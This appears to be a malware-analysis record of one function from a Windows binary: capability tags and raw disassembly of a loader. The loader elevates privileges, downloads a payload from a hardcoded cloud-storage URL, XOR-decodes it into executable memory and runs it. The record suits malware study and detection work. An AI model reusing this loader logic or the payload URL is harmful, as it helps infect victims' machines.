Function at 0x140014000
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get token membership
Read file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0xf8]
sub rsp, 0x1f8
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov word [rbp + 0x11c], 0x500
lea rax, [rbp + 0x120]
mov dword [rbp + 0x110], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x118]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp + 0x118], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1400140bc
mov rdx, qword [rbp + 0x120]
lea r8, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp + 0x110]
test eax, eax
cmove ecx, ebx
mov dword [rbp + 0x110], ecx
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp + 0x110], ebx
jne 0x14001412f
mov r8d, 0x104
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14001412f
xor edx, edx
mov dword [rsp + 0x60], 0x70
lea rcx, [rsp + 0x64]
lea r8d, [rdx + 0x6c]
call fcn.140002220
lea rax, [0x14001ce10]
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x60]
lea rax, [rbp - 0x30]
mov dword [rbp - 0x70], 1
mov qword [rsp + 0x78], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400142f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x1400142f2
lea rcx, [0x14001cee4]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14001417f
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, [0x14001cee4]
xor ecx, ecx
lea rdx, str.https:__wwwasfqweqwaeqwe24_1328290122.cos.ap_chongqing.myqcloud.com_24.txt
call qword [0x1414b22d8]
test eax, eax
jns 0x14001417f
mov rcx, qword [0x1414b22d0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
add rsp, 0x1f8
pop rbx
pop rbp
ret
mov ecx, 0x1f4
mov qword [rsp + 0x1e8], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14001ce18]
lea rcx, [0x14001cee4]
call fcn.140003708
mov rdi, rax
test rax, rax
jne 0x1400141bf
mov rcx, qword [0x1414b22d0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400142db
xor edx, edx
mov qword [rsp + 0x1f0], rsi
mov rcx, rdi
mov qword [rsp + 0x1e0], r14
lea r8d, [rdx + 2]
call fcn.140003a04
mov rcx, rdi
call fcn.140003644
xor r8d, r8d
movsxd rsi, eax
xor edx, edx
mov rcx, rdi
call fcn.140003a04
mov rcx, rsi
call fcn.140005234
mov r14, rax
test rax, rax
jne 0x140014212
mov rcx, rdi
call fcn.140003798
jmp 0x1400142be
mov r9, rdi
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000516c
mov rcx, rdi
call fcn.140003798
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
je 0x140014281
movabs r8, 0x2492492492492493
lea r9, [0x1414add68]
nop
mov rax, r8
mov rcx, rbx
mul rbx
mov rax, rbx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
imul rax, rax, 7
sub rcx, rax
movzx eax, byte [rcx + r9]
xor byte [rbx + r14], al
inc rbx
cmp rbx, rsi
jb 0x140014250
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.140002990
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, r14
call fcn.140004ec8
mov rcx, qword [0x1414b22d0]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x1f0]
mov r14, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1e8]
mov eax, 1
add rsp, 0x1f8
pop rbx
pop rbp
ret
xor ecx, ecx
call fcn.140003144
int3